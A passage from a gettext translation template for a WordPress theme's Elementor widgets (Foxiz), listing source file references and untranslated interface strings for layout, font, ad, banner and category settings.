elementor/list-small-2.php:526 elementor/list-small-2.php:541 #: elementor/list-small-3.php:498 elementor/list-small-3.php:513 #: elementor/navigation.php:309 elementor/newsletter-1.php:157 #: elementor/newsletter-1.php:173 elementor/newsletter-2.php:166 #: elementor/newsletter-2.php:182 elementor/newsletter-3.php:148 #: elementor/newsletter-3.php:164 elementor/notification-icon.php:196 #: elementor/plan.php:298 elementor/plan.php:313 elementor/quick-links.php:110 #: elementor/quick-links.php:127 elementor/search-icon.php:201 #: elementor/social-follower.php:255 elementor/social-follower.php:270 #: elementor/weather.php:114 elementor/weather.php:129 widgets/banner.php:81 msgid "Text Color Scheme" msgstr "" #: elementor/ad-image.php:121 elementor/ad-script.php:132 #: elementor/banner.php:173 elementor/breaking-news.php:293 #: elementor/categories-1.php:190 elementor/categories-5.php:171 #: elementor/classic-1.php:593 elementor/covid-data.php:128 #: elementor/grid-1.php:630 elementor/grid-2.php:629 #: elementor/grid-box-1.php:629 elementor/grid-box-2.php:629 #: elementor/grid-small-1.php:638 elementor/heading.php:291 #: elementor/hierarchical-1.php:513 elementor/hierarchical-2.php:467 #: elementor/list-1.php:627 elementor/list-2.php:611 #: elementor/list-box-1.php:626 elementor/list-box-2.php:626 #: elementor/list-small-1.php:477 elementor/list-small-2.php:545 #: elementor/list-small-3.php:517 elementor/navigation.php:313 #: elementor/newsletter-1.php:177 elementor/newsletter-2.php:186 #: elementor/newsletter-3.php:168 elementor/notification-icon.php:200 #: elementor/plan.php:317 elementor/quick-links.php:131 #: elementor/search-icon.php:205 elementor/social-follower.php:274 #: elementor/weather.php:133 msgid "Default (Dark Text)" msgstr "" #: elementor/ad-image.php:122 elementor/ad-script.php:133 #: elementor/banner.php:174 elementor/breaking-news.php:294 #: elementor/categories-1.php:191 elementor/categories-5.php:172 #: elementor/classic-1.php:594 elementor/covid-data.php:129 #: elementor/grid-1.php:631 elementor/grid-2.php:630 #: elementor/grid-box-1.php:630 elementor/grid-box-2.php:630 #: elementor/grid-small-1.php:639 elementor/heading.php:292 #: elementor/hierarchical-1.php:514 elementor/hierarchical-2.php:468 #: elementor/list-1.php:628 elementor/list-2.php:612 #: elementor/list-box-1.php:627 elementor/list-box-2.php:627 #: elementor/list-small-1.php:478 elementor/list-small-2.php:546 #: elementor/list-small-3.php:518 elementor/navigation.php:314 #: elementor/newsletter-1.php:178 elementor/newsletter-2.php:187 #: elementor/newsletter-3.php:169 elementor/notification-icon.php:201 #: elementor/plan.php:318 elementor/quick-links.php:132 #: elementor/search-icon.php:206 elementor/social-follower.php:275 #: elementor/weather.php:134 widgets/banner.php:84 widgets/fw-mc.php:73 msgid "Light Text" msgstr "" #: elementor/ad-script.php:26 msgid "Foxiz - Ad Script" msgstr "" #: elementor/ad-script.php:59 widgets/sb-ad-script.php:57 msgid "Ad/Adsense Code" msgstr "" #: elementor/ad-script.php:61 widgets/sb-ad-script.php:58 msgid "" "Input your custom ad or Adsense code. Use Adsense units code to ensure it " "display exactly where you put. The widget will not work if you are using " "auto ads." msgstr "" #: elementor/ad-script.php:68 widgets/sb-ad-script.php:65 msgid "Ad Size" msgstr "" #: elementor/ad-script.php:70 msgid "Select a custom size for this ad if you use adsense ad units." msgstr "" #: elementor/ad-script.php:72 widgets/sb-ad-script.php:68 msgid "Do not Override" msgstr "" #: elementor/ad-script.php:73 widgets/sb-ad-script.php:69 msgid "Custom Size Below" msgstr "" #: elementor/ad-script.php:82 widgets/sb-ad-script.php:77 msgid "Size on Desktop" msgstr "" #: elementor/ad-script.php:84 msgid "Select a size on the desktop device." msgstr "" #: elementor/ad-script.php:92 widgets/sb-ad-script.php:86 msgid "Size on Tablet" msgstr "" #: elementor/ad-script.php:94 msgid "Select a size on the tablet device." msgstr "" #: elementor/ad-script.php:102 widgets/sb-ad-script.php:95 msgid "Size on Mobile" msgstr "" #: elementor/ad-script.php:104 msgid "Select a size on the mobile device." msgstr "" #: elementor/banner.php:26 msgid "Foxiz - Sidebar Banner" msgstr "" #: elementor/banner.php:50 elementor/heading.php:50 elementor/plan.php:49 #: elementor/weather.php:51 widgets/banner.php:51 widgets/fw-mc.php:50 #: widgets/sb-ad-image.php:48 widgets/sb-address.php:52 #: widgets/sb-facebook.php:45 widgets/sb-flickr.php:48 #: widgets/sb-follower.php:65 widgets/sb-instagram.php:50 #: widgets/sb-post.php:56 widgets/sb-social-icon.php:70 widgets/sb-tweet.php:51 #: widgets/sb-weather.php:49 widgets/sb-youtube.php:46 msgid "Title" msgstr "" #: elementor/banner.php:53 elementor/plan.php:52 msgid "Input a title for this banner." msgstr "" #: elementor/banner.php:63 msgid "Input a description for this banner." msgstr "" #: elementor/banner.php:70 widgets/banner.php:93 msgid "Button Destination URL" msgstr "" #: elementor/banner.php:78 widgets/banner.php:100 msgid "Button Label" msgstr "" #: elementor/banner.php:86 widgets/banner.php:65 widgets/fw-mc.php:89 msgid "Background Image URL" msgstr "" #: elementor/banner.php:87 widgets/banner.php:66 msgid "Input a background image (attachment URL) for this banner." msgstr "" #: elementor/banner.php:94 widgets/banner.php:73 msgid "Dark Mode - Background Image URL" msgstr "" #: elementor/banner.php:95 widgets/banner.php:74 msgid "" "Input a background image (attachment URL) for this banner in the dark mode." msgstr "" #: elementor/banner.php:102 elementor/categories-1.php:299 #: elementor/categories-2.php:280 elementor/categories-3.php:298 #: elementor/categories-4.php:270 elementor/categories-5.php:280 #: elementor/classic-1.php:700 elementor/grid-1.php:738 #: elementor/grid-2.php:736 elementor/grid-box-1.php:780 #: elementor/grid-box-2.php:736 elementor/grid-small-1.php:745 #: elementor/hierarchical-1.php:561 elementor/hierarchical-2.php:515 #: elementor/hierarchical-3.php:520 elementor/list-1.php:726 #: elementor/list-2.php:718 elementor/list-box-1.php:769 #: elementor/list-box-2.php:769 elementor/list-small-1.php:613 #: elementor/list-small-2.php:652 elementor/list-small-3.php:624 #: elementor/overlay-1.php:599 elementor/overlay-2.php:703 #: elementor/plan.php:279 elementor/plan.php:286 msgid "Spacing" msgstr "" #: elementor/banner.php:109 elementor/newsletter-2.php:127 msgid "Inner Padding" msgstr "" #: elementor/banner.php:111 msgid "Input a custom inner padding value this block." msgstr "" #: elementor/banner.php:123 elementor/grid-1.php:583 elementor/grid-2.php:582 #: elementor/grid-box-1.php:582 elementor/grid-box-2.php:582 #: elementor/grid-small-1.php:591 elementor/heading.php:142 #: elementor/list-small-1.php:448 elementor/list-small-2.php:498 #: elementor/list-small-3.php:488 elementor/login-icon.php:80 #: elementor/overlay-1.php:463 elementor/overlay-2.php:567 #: elementor/plan.php:224 msgid "Font Size" msgstr "" #: elementor/banner.php:130 elementor/categories-1.php:122 #: elementor/categories-2.php:122 elementor/categories-3.php:122 #: elementor/categories-4.php:122 elementor/categories-5.php:121 #: elementor/classic-1.php:475 elementor/grid-1.php:475 #: elementor/grid-2.php:474 elementor/grid-box-1.php:474 #: elementor/grid-box-2.php:474 elementor/grid-small-1.php:483 #: elementor/hierarchical-1.php:386 elementor/hierarchical-2.php:358 #: elementor/hierarchical-3.php:373 elementor/list-1.php:509 #: elementor/list-2.php:493 elementor/list-box-1.php:508 #: elementor/list-box-2.php:508 elementor/list-small-1.php:340 #: elementor/list-small-2.php:390 elementor/list-small-3.php:380 #: elementor/newsletter-1.php:137 elementor/newsletter-2.php:146 #: elementor/newsletter-3.php:120 elementor/overlay-1.php:355 #: elementor/overlay-2.php:459 msgid "Title Font Size" msgstr "" #: elementor/banner.php:132 msgid "Input a custom font size (in px) for the title." msgstr "" #: elementor/banner.php:142 elementor/newsletter-1.php:146 #: elementor/newsletter-2.php:155 elementor/newsletter-3.php:129 #: elementor/plan.php:243 msgid "Description Font Size" msgstr "" #: elementor/banner.php:144 elementor/plan.php:245 elementor/plan.php:257 msgid "Input a custom font size (in px) for the description." msgstr "" #: elementor/banner.php:182 elementor/breaking-news.php:302 #: elementor/categories-1.php:199 elementor/categories-2.php:180 #: elementor/categories-3.php:190 elementor/categories-4.php:170 #: elementor/categories-5.php:180 elementor/classic-1.php:602 #: elementor/covid-data.php:137 elementor/grid-1.php:639 #: elementor/grid-2.php:638 elementor/grid-box-1.php:638 #: elementor/grid-box-2.php:638 elementor/grid-small-1.php:647 #: elementor/heading.php:300 elementor/hierarchical-1.php:522 #: elementor/hierarchical-2.php:476 elementor/hierarchical-3.php:481 #: elementor/list-1.php:636 elementor/list-2.php:620 #: elementor/list-box-1.php:635 elementor/list-box-2.php:635 #: elementor/list-small-1.php:486 elementor/list-small-2.php:554 #: elementor/list-small-3.php:526 elementor/newsletter-1.php:186 #: elementor/newsletter-2.php:195 elementor/newsletter-3.php:177 #: elementor/overlay-1.php:491 elementor/overlay-2.php:595 #: elementor/plan.php:326 elementor/quick-links.php:141 #: elementor/social-follower.php:283 elementor/videos.php:141 #: elementor/weather.php:142 msgid "Custom Font" msgstr "" #: elementor/banner.php:197 elementor/newsletter-1.php:201 #: elementor/newsletter-2.php:210 elementor/newsletter-3.php:192 #: elementor/weather.php:149 msgid "Title Font" msgstr "" #: elementor/banner.php:205 elementor/categories-3.php:221 #: elementor/newsletter-1.php:209 elementor/newsletter-2.php:218 #: elementor/newsletter-3.php:200 elementor/plan.php:349 #: elementor/social-follower.php:306 msgid "Description Font" msgstr "" #: elementor/base.php:52 msgid "Foxiz Blocks" msgstr "" #: elementor/base.php:59 msgid "Foxiz Header" msgstr "" #: elementor/breaking-news.php:26 msgid "Foxiz - Breaking News" msgstr "" #: elementor/breaking-news.php:43 elementor/classic-1.php:39 #: elementor/grid-1.php:39 elementor/grid-2.php:38 elementor/grid-box-1.php:38 #: elementor/grid-box-2.php:38 elementor/grid-small-1.php:39 #: elementor/hierarchical-1.php:42 elementor/hierarchical-2.php:43 #: elementor/hierarchical-3.php:43 elementor/list-1.php:44 #: elementor/list-2.php:38 elementor/list-box-1.php:44 #: elementor/list-box-2.php:44 elementor/list-small-1.php:43 #: elementor/list-small-2.php:43 elementor/list-small-3.php:43 #: elementor/overlay-1.php:43 elementor/overlay-2.php:43 msgid "Query Settings" msgstr "" #: elementor/breaking-news.php:67 elementor/breaking-news.php:78 #: elementor/classic-1.php:64 elementor/classic-1.php:75 #: elementor/grid-1.php:64 elementor/grid-1.php:75 elementor/grid-2.php:63 #: elementor/grid-2.php:74 elementor/grid-box-1.php:63 #: elementor/grid-box-1.php:74 elementor/grid-box-2.php:63 #: elementor/grid-box-2.php:74 elementor/grid-small-1.php:63 #: elementor/grid-small-1.php:74 elementor/hierarchical-1.php:66 #: elementor/hierarchical-1.php:77 elementor/hierarchical-2.php:67 #: elementor/hierarchical-2.php:78 elementor/hierarchical-3.php:68 #: elementor/hierarchical-3.php:79 elementor/list-1.php:69 #: elementor/list-1.php:80 elementor/list-2.php:62 elementor/list-2.php:73 #: elementor/list-box-1.php:69 elementor/list-box-1.php:80 #: elementor/list-box-2.php:69 elementor/list-box-2.php:80 #: elementor/list-small-1.php:67 elementor/list-small-1.php:78 #: elementor/list-small-2.php:67 elementor/list-small-2.php:78 #: elementor/list-small-3.php:67 elementor/list-small-3.php:78 #: elementor/overlay-1.php:67 elementor/overlay-1.php:78 #: elementor/overlay-2.php:67 elementor/overlay-2.php:78 widgets/sb-post.php:62 msgid "Category Filter" msgstr "" #: elementor/breaking-news.php:90 elementor/classic-1.php:87 #: elementor/grid-1.php:87 elementor/grid-2.php:86 elementor/grid-box-1.php:86 #: elementor/grid-box-2.php:86 elementor/grid-small-1.php:86 #: elementor/hierarchical-1.php:88 elementor/hierarchical-2.php:90 #: elementor/hierarchical-3.php:91 elementor/list-1.php:92 #: elementor/list-2.php:85 elementor/list-box-1.php:92 #: elementor/list-box-2.php:92 elementor/list-small-1.php:90 #: elementor/list-small-2.php:90 elementor/list-small-3.php:90 #: elementor/overlay-1.php:90 elementor/overlay-2.php:90 widgets/sb-post.php:70 msgid "Categories Filter" msgstr "" #: elementor/breaking-news.php:99 elementor/classic-1.php:96 #: elementor/grid-1.php:96 elementor/grid-2.php:95 elementor/grid-box-1.php:95 #: elementor/grid-box-2.php:95 elementor/grid-small-1.php:95 #: elementor/hierarchical-1.php:97 elementor/hierarchical-2.php:99 #: elementor/hierarchical-3.php:100 elementor/list-1.php:101 #: elementor/list-2.php:94 elementor/list-box-1.php:101 #: elementor/list-box-2.php:101 elementor/list-small-1.php:99 #: elementor/list-small-2.php:99 elementor/list-small-3.php:99 #: elementor/overlay-1.php:99 elementor/overlay-2.php:99 widgets/sb-post.php:77 msgid "Tags Slug Filter" msgstr "" #: elementor/breaking-news.php:108 elementor/classic-1.php:105 #: elementor/grid-1.php:105 elementor/grid-2.php:104 #: elementor/grid-box-1.php:104 elementor/grid-box-2.php:104 #: elementor/grid-small-1.php:104 elementor/hierarchical-1.php:106 #: elementor/hierarchical-2.php:108 elementor/hierarchical-3.php:109 #: elementor/list-1.php:110 elementor/list-2.php:103 #: elementor/list-box-1.php:110 elementor/list-box-2.php:110 #: elementor/list-small-1.php:108 elementor/list-small-2.php:108 #: elementor/list-small-3.php:108 elementor/overlay-1.php:108 #: elementor/overlay-2.php:108 widgets/sb-post.php:84 msgid "Exclude Tags Slug" msgstr "" #: elementor/breaking-news.php:117 elementor/classic-1.php:114 #: elementor/grid-1.php:114 elementor/grid-2.php:113 #: elementor/grid-box-1.php:113 elementor/grid-box-2.php:113 #: elementor/grid-small-1.php:113 elementor/hierarchical-1.php:115 #: elementor/hierarchical-2.php:117 elementor/hierarchical-3.php:118 #: elementor/list-1.php:119 elementor/list-2.php:112 #: elementor/list-box-1.php:119 elementor/list-box-2.php:119 #: elementor/list-small-1.php:117 elementor/list-small-2.php:117 #: elementor/list-small-3.php:117 elementor/overlay-1.php:117 #: elementor/overlay-2.php:117 widgets/sb-post.php:91 msgid "Post Format" msgstr "" #: elementor/breaking-news.php:127 elementor/classic-1.php:124 #: elementor/grid-1.php:124 elementor/grid-2.php:123 #: elementor/grid-box-1.php:123 elementor/grid-box-2.php:123 #: elementor/grid-small-1.php:123 elementor/hierarchical-1.php:125 #: elementor/hierarchical-2.php:127 elementor/hierarchical-3.php:128 #: elementor/list-1.php:129 elementor/list-2.php:122 #: elementor/list-box-1.php:129 elementor/list-box-2.php:129 #: elementor/list-small-1.php:127 elementor/list-small-2.php:127 #: elementor/list-small-3.php:127 elementor/overlay-1.php:127 #: elementor/overlay-2.php:127 msgid "Author Filter" msgstr "" #: elementor/breaking-news.php:137 elementor/classic-1.php:134 #: elementor/grid-1.php:134 elementor/grid-2.php:133 #: elementor/grid-box-1.php:133 elementor/grid-box-2.php:133 #: elementor/grid-small-1.php:133 elementor/hierarchical-1.php:135 #: elementor/hierarchical-2.php:137 elementor/hierarchical-3.php:138 #: elementor/list-1.php:139 elementor/list-2.php:132 #: elementor/list-box-1.php:139 elementor/list-box-2.php:139 #: elementor/list-small-1.php:137 elementor/list-small-2.php:137 #: elementor/list-small-3.php:137 elementor/overlay-1.php:137 #: elementor/overlay-2.php:137 widgets/sb-post.php:105 msgid "Exclude Post IDs" msgstr "" #: elementor/breaking-news.php:146 elementor/classic-1.php:143 #: elementor/grid-1.php:143 elementor/grid-2.php:142 #: elementor/grid-box-1.php:142 elementor/grid-box-2.php:142 #: elementor/grid-small-1.php:142 elementor/hierarchical-1.php:144 #: elementor/hierarchical-2.php:146 elementor/hierarchical-3.php:147 #: elementor/list-1.php:148 elementor/list-2.php:141 #: elementor/list-box-1.php:148 elementor/list-box-2.php:148 #: elementor/list-small-1.php:146 elementor/list-small-2.php:146 #: elementor/list-small-3.php:146 elementor/overlay-1.php:146 #: elementor/overlay-2.php:146 widgets/sb-post.php:112 msgid "Post IDs Filter" msgstr "" #: elementor/breaking-news.php:155 elementor/classic-1.php:152 #: elementor/grid-1.php:152 elementor/grid-2.php:151 #: elementor/grid-box-1.php:151 elementor/grid-box-2.php:151 #: elementor/grid-small-1.php:151 elementor/hierarchical-1.php:153 #: elementor/hierarchical-2.php:155 elementor/hierarchical-3.php:156 #: elementor/list-1.php:157 elementor/list-2.php:150 #: elementor/list-box-1.php:157 elementor/list-box-2.php:157 #: elementor/list-small-1.php:155 elementor/list-small-2.php:155 #: elementor/list-small-3.php:155 elementor/overlay-1.php:155 #: elementor/overlay-2.php:155 msgid "Sort Order" msgstr "" #: elementor/breaking-news.php:165 elementor/classic-1.php:162 #: elementor/grid-1.php:162 elementor/grid-2.php:161 #: elementor/grid-box-1.php:161 elementor/grid-box-2.php:161 #: elementor/grid-small-1.php:161 elementor/hierarchical-1.php:163 #: elementor/hierarchical-2.php:165 elementor/hierarchical-3.php:166 #: elementor/list-1.php:167 elementor/list-2.php:160 #: elementor/list-box-1.php:167 elementor/list-box-2.php:167 #: elementor/list-small-1.php:165 elementor/list-small-2.php:165 #: elementor/list-small-3.php:165 elementor/overlay-1.php:165 #: elementor/overlay-2.php:165 msgid "Number of Posts" msgstr "" #: elementor/breaking-news.php:174 elementor/classic-1.php:171 #: elementor/grid-1.php:171 elementor/grid-2.php:170 #: elementor/grid-box-1.php:170 elementor/grid-box-2.php:170 #: elementor/grid-small-1.php:170 elementor/hierarchical-1.php:172 #: elementor/hierarchical-2.php:174 elementor/hierarchical-3.php:175 #: elementor/list-1.php:176 elementor/list-2.php:169 #: elementor/list-box-1.php:176 elementor/list-box-2.php:176 #: elementor/list-small-1.php:174 elementor/list-small-2.php:174 #: elementor/list-small-3.php:174 elementor/overlay-1.php:174 #: elementor/overlay-2.php:174 widgets/sb-post.php:148 msgid "Post Offset" msgstr "" #: elementor/breaking-news.php:183 elementor/breaking-news.php:190 #: elementor/classic-1.php:285 elementor/classic-1.php:292 #: elementor/grid-1.php:285 elementor/grid-1.php:292 elementor/grid-2.php:284 #: elementor/grid-2.php:291 elementor/grid-box-1.php:284 #: elementor/grid-box-1.php:291 elementor/grid-box-2.php:284 #: elementor/grid-box-2.php:291 elementor/grid-small-1.php:284 #: elementor/grid-small-1.php:291 elementor/hierarchical-1.php:198 #: elementor/hierarchical-1.php:205 elementor/hierarchical-2.php:200 #: elementor/hierarchical-2.php:207 elementor/hierarchical-3.php:184 #: elementor/hierarchical-3.php:191 elementor/list-1.php:290 #: elementor/list-1.php:297 elementor/list-2.php:283 elementor/list-2.php:290 #: elementor/list-box-1.php:290 elementor/list-box-1.php:297 #: elementor/list-box-2.php:290 elementor/list-box-2.php:297 #: elementor/list-small-1.php:200 elementor/list-small-1.php:207 #: elementor/list-small-2.php:200 elementor/list-small-2.php:207 #: elementor/list-small-3.php:200 elementor/list-small-3.php:207 #: elementor/overlay-1.php:183 elementor/overlay-1.php:190 #: elementor/overlay-2.php:288 elementor/overlay-2.php:295 msgid "Unique Post" msgstr "" #: elementor/breaking-news.php:200 elementor/newsletter-1.php:57 #: elementor/newsletter-2.php:57 elementor/newsletter-3.php:58 msgid "Heading" msgstr "" #: elementor/breaking-news.php:208 msgid "This layout is best suited for all sections." msgstr "" #: elementor/breaking-news.php:214 elementor/quick-links.php:54 msgid "Heading Label" msgstr "" #: elementor/breaking-news.php:216 msgid "input a heading label for this block." msgstr "" #: elementor/breaking-news.php:217 msgid "Hot News" msgstr "" #: elementor/breaking-news.php:223 elementor/classic-1.php:460 #: elementor/grid-1.php:460 elementor/grid-2.php:459 #: elementor/grid-box-1.php:459 elementor/grid-box-2.php:459 #: elementor/grid-small-1.php:468 elementor/hierarchical-1.php:371 #: elementor/hierarchical-2.php:343 elementor/hierarchical-3.php:358 #: elementor/list-1.php:494 elementor/list-2.php:478 #: elementor/list-box-1.php:493 elementor/list-box-2.php:493 #: elementor/list-small-1.php:325 elementor/list-small-2.php:375 #: elementor/list-small-3.php:365 elementor/overlay-1.php:340 #: elementor/overlay-2.php:444 elementor/social-follower.php:245 msgid "Custom Font Size" msgstr "" #: elementor/breaking-news.php:229 msgid "Post Title Font Size" msgstr "" #: elementor/breaking-news.php:238 msgid "Label Size" msgstr "" #: elementor/breaking-news.php:240 msgid "Input a custom font size for the label" msgstr "" #: elementor/breaking-news.php:248 msgid "Slider Settings" msgstr "" #: elementor/breaking-news.php:255 elementor/grid-1.php:909 #: elementor/grid-2.php:907 elementor/grid-box-1.php:951 #: elementor/grid-box-2.php:951 elementor/grid-small-1.php:916 #: elementor/list-small-2.php:832 elementor/list-small-3.php:787 #: elementor/overlay-1.php:705 elementor/overlay-2.php:848 msgid "Auto Play Next Slides" msgstr "" #: elementor/breaking-news.php:265 elementor/grid-1.php:919 #: elementor/grid-2.php:917 elementor/grid-box-1.php:961 #: elementor/grid-box-2.php:961 elementor/grid-small-1.php:926 #: elementor/list-small-2.php:842 elementor/list-small-3.php:797 #: elementor/overlay-1.php:715 elementor/overlay-2.php:858 msgid "Auto Play Speed" msgstr "" #: elementor/breaking-news.php:317 elementor/classic-1.php:617 #: elementor/grid-1.php:654 elementor/grid-2.php:653 #: elementor/grid-box-1.php:653 elementor/grid-box-2.php:653 #: elementor/grid-small-1.php:662 elementor/hierarchical-1.php:537 #: elementor/hierarchical-2.php:491 elementor/hierarchical-3.php:496 #: elementor/list-1.php:651 elementor/list-2.php:635 #: elementor/list-box-1.php:650 elementor/list-box-2.php:650 #: elementor/list-small-1.php:501 elementor/list-small-2.php:569 #: elementor/list-small-3.php:541 elementor/overlay-1.php:506 #: elementor/overlay-2.php:610 msgid "Post Title Font" msgstr "" #: elementor/breaking-news.php:325 msgid "Heading Label Font" msgstr "" #: elementor/categories-1.php:27 msgid "Foxiz - Category List 1" msgstr "" #: elementor/categories-1.php:44 elementor/categories-2.php:44 #: elementor/categories-3.php:44 elementor/categories-4.php:44 #: elementor/categories-5.php:44 msgid "Categories" msgstr "" #: elementor/categories-1.php:52 elementor/categories-2.php:52 #: elementor/categories-3.php:52 elementor/categories-4.php:52 #: elementor/categories-5.php:52 msgid "" "To set featured images for each category, navigate to \"Posts > Categories > " "Edit > Featured Images\"." msgstr "" #: elementor/categories-1.php:60 elementor/categories-2.php:60 #: elementor/categories-3.php:60 elementor/categories-4.php:60 #: elementor/categories-5.php:60 msgid "Select a Category" msgstr "" #: elementor/categories-1.php:62 elementor/categories-2.php:62 #: elementor/categories-3.php:62 elementor/categories-4.php:62 #: elementor/categories-5.php:62 msgid "- Select a category -" msgstr "" #: elementor/categories-1.php:69 elementor/categories-2.php:69 #: elementor/categories-3.php:69 elementor/categories-4.php:69 #: elementor/categories-5.php:69 msgid "Add Categories" msgstr "" #: elementor/categories-1.php:86 elementor/categories-2.php:86 #: elementor/categories-3.php:86 elementor/categories-4.php:86 #: elementor/categories-5.php:86 elementor/classic-1.php:302 #: elementor/covid-data.php:71 elementor/grid-1.php:302 #: elementor/grid-2.php:301 elementor/grid-box-1.php:301 #: elementor/grid-box-2.php:301 elementor/grid-small-1.php:301 #: elementor/hierarchical-1.php:215 elementor/hierarchical-2.php:217 #: elementor/hierarchical-3.php:201 elementor/list-1.php:307 #: elementor/list-2.php:300 elementor/list-box-1.php:307 #: elementor/list-box-2.php:307 elementor/list-small-1.php:217 #: elementor/list-small-2.php:217 elementor/list-small-3.php:217 #: elementor/newsletter-1.php:103 elementor/newsletter-2.php:103 #: elementor/newsletter-3.php:104 elementor/overlay-1.php:201 #: elementor/overlay-2.php:305 elementor/videos.php:116 msgid "Block Design" msgstr "" #: elementor/categories-1.php:93 elementor/categories-2.php:93 #: elementor/categories-3.php:93 elementor/categories-4.php:93 #: elementor/categories-5.php:93 elementor/classic-1.php:309 #: elementor/grid-1.php:309 elementor/grid-2.php:308 #: elementor/grid-box-1.php:308 elementor/grid-box-2.php:308 #: elementor/grid-small-1.php:308 elementor/hierarchical-1.php:230 #: elementor/hierarchical-3.php:216 elementor/list-1.php:322 #: elementor/list-2.php:307 elementor/list-box-1.php:322 #: elementor/list-box-2.php:322 elementor/list-small-2.php:224 #: elementor/list-small-3.php:224 elementor/overlay-1.php:208 #: elementor/overlay-2.php:312 msgid "Featured Image Size" msgstr "" #: elementor/categories-1.php:102 elementor/categories-2.php:102 #: elementor/categories-3.php:102 elementor/categories-4.php:102 #: elementor/classic-1.php:318 elementor/grid-1.php:318 #: elementor/grid-2.php:317 elementor/grid-box-1.php:317 #: elementor/grid-box-2.php:317 elementor/grid-small-1.php:317 #: elementor/hierarchical-1.php:239 elementor/hierarchical-3.php:225 #: elementor/list-1.php:331 elementor/list-2.php:316 #: elementor/list-box-1.php:331 elementor/list-box-2.php:331 #: elementor/list-small-2.php:233 elementor/overlay-1.php:217 #: elementor/overlay-2.php:321 msgid "Custom Featured Ratio" msgstr "" #: elementor/categories-1.php:113 elementor/categories-2.php:113 #: elementor/categories-3.php:113 elementor/categories-4.php:113 #: elementor/categories-5.php:112 elementor/classic-1.php:450 #: elementor/grid-1.php:450 elementor/grid-2.php:449 #: elementor/grid-box-1.php:449 elementor/grid-box-2.php:449 #: elementor/grid-small-1.php:458 elementor/hierarchical-1.php:351 #: elementor/hierarchical-2.php:323 elementor/hierarchical-3.php:338 #: elementor/list-1.php:483 elementor/list-2.php:468 #: elementor/list-box-1.php:483 elementor/list-box-2.php:483 #: elementor/list-small-1.php:315 elementor/list-small-2.php:365 #: elementor/list-small-3.php:355 elementor/newsletter-1.php:128 #: elementor/newsletter-2.php:137 elementor/newsletter-3.php:111 #: elementor/overlay-1.php:330 elementor/overlay-2.php:434 msgid "Title HTML Tag" msgstr "" #: elementor/categories-1.php:132 elementor/categories-2.php:132 #: elementor/categories-3.php:142 elementor/categories-4.php:132 #: elementor/categories-5.php:131 msgid "Count Posts" msgstr "" #: elementor/categories-1.php:134 elementor/categories-2.php:134 #: elementor/categories-3.php:144 elementor/categories-4.php:134 #: elementor/categories-5.php:133 msgid "Enable or disable total posts information of each category." msgstr "" #: elementor/categories-1.php:142 elementor/categories-2.php:142 #: elementor/categories-3.php:152 elementor/categories-4.php:142 #: elementor/categories-5.php:141 msgid "Follow Button" msgstr "" #: elementor/categories-1.php:145 elementor/categories-2.php:145 #: elementor/categories-3.php:155 elementor/categories-4.php:145 #: elementor/categories-5.php:144 msgid "Enable or disable follow button." msgstr "" #: elementor/categories-1.php:152 elementor/categories-2.php:162 #: elementor/categories-3.php:172 elementor/categories-4.php:152 #: elementor/classic-1.php:556 elementor/grid-1.php:593 #: elementor/grid-2.php:592 elementor/grid-box-1.php:592 #: elementor/grid-box-2.php:592 elementor/grid-small-1.php:601 #: elementor/hierarchical-1.php:476 elementor/hierarchical-3.php:463 #: elementor/list-1.php:590 elementor/list-2.php:574 #: elementor/list-box-1.php:589 elementor/list-box-2.php:589 #: elementor/list-small-2.php:508 elementor/overlay-1.php:473 #: elementor/overlay-2.php:577 msgid "Rounded Corner" msgstr "" #: elementor/categories-1.php:159 elementor/categories-2.php:169 #: elementor/categories-3.php:179 elementor/categories-4.php:159 #: elementor/classic-1.php:563 elementor/grid-1.php:600 #: elementor/grid-2.php:599 elementor/grid-box-1.php:599 #: elementor/grid-box-2.php:599 elementor/grid-small-1.php:608 #: elementor/hierarchical-1.php:483 elementor/hierarchical-3.php:470 #: elementor/list-1.php:597 elementor/list-2.php:581 #: elementor/list-box-1.php:596 elementor/list-box-2.php:596 #: elementor/list-small-2.php:515 elementor/overlay-1.php:480 #: elementor/overlay-2.php:584 msgid "Border Radius" msgstr "" #: elementor/categories-1.php:214 elementor/categories-2.php:195 #: elementor/categories-3.php:205 elementor/categories-4.php:185 #: elementor/categories-5.php:195 msgid "Category Name Font" msgstr "" #: elementor/categories-1.php:222 elementor/categories-2.php:203 #: elementor/categories-3.php:213 elementor/categories-4.php:193 #: elementor/categories-5.php:203 msgid "Count Posts Font" msgstr "" #: elementor/categories-1.php:230 elementor/categories-2.php:211 #: elementor/categories-3.php:229 elementor/categories-4.php:201 #: elementor/categories-5.php:211 elementor/classic-1.php:633 #: elementor/grid-1.php:670 elementor/grid-2.php:669 #: elementor/grid-box-1.php:669 elementor/grid-box-2.php:669 #: elementor/grid-small-1.php:678 elementor/list-1.php:667 #: elementor/list-2.php:651 elementor/list-box-1.php:666 #: elementor/list-box-2.php:666 elementor/list-small-1.php:517 #: elementor/list-small-2.php:585 elementor/list-small-3.php:557 #: elementor/overlay-1.php:522 elementor/overlay-2.php:626 #: elementor/social-follower.php:315 msgid "Column Settings" msgstr "" #: elementor/categories-1.php:237 elementor/categories-2.php:218 #: elementor/categories-3.php:236 elementor/categories-4.php:208 #: elementor/categories-5.php:218 elementor/classic-1.php:648 #: elementor/grid-1.php:685 elementor/grid-2.php:684 #: elementor/grid-box-1.php:684 elementor/grid-box-2.php:684 #: elementor/grid-small-1.php:693 elementor/list-1.php:674 #: elementor/list-2.php:666 elementor/list-box-1.php:673 #: elementor/list-box-2.php:673 elementor/list-small-1.php:532 #: elementor/list-small-2.php:600 elementor/list-small-3.php:572 #: elementor/overlay-1.php:537 elementor/overlay-2.php:641 msgid "Columns on Desktop" msgstr "" #: elementor/categories-1.php:247 elementor/categories-2.php:228 #: elementor/categories-3.php:246 elementor/categories-4.php:218 #: elementor/categories-5.php:228 elementor/classic-1.php:658 #: elementor/grid-1.php:695 elementor/grid-2.php:694 #: elementor/grid-box-1.php:694 elementor/grid-box-2.php:694 #: elementor/grid-small-1.php:703 elementor/list-1.php:684 #: elementor/list-2.php:676 elementor/list-box-1.php:683 #: elementor/list-box-2.php:683 elementor/list-small-1.php:542 #: elementor/list-small-2.php:610 elementor/list-small-3.php:582 #: elementor/overlay-1.php:547 elementor/overlay-2.php:651 msgid "Columns on Tablet" msgstr "" #: elementor/categories-1.php:257 elementor/categories-2.php:238 #: elementor/categories-3.php:256 elementor/categories-4.php:228 #: elementor/categories-5.php:238 elementor/classic-1.php:668 #: elementor/grid-1.php:705 elementor/grid-2.php:704 #: elementor/grid-box-1.php:704 elementor/grid-box-2.php:704 #: elementor/grid-small-1.php:713 elementor/list-1.php:694 #: elementor/list-2.php:686 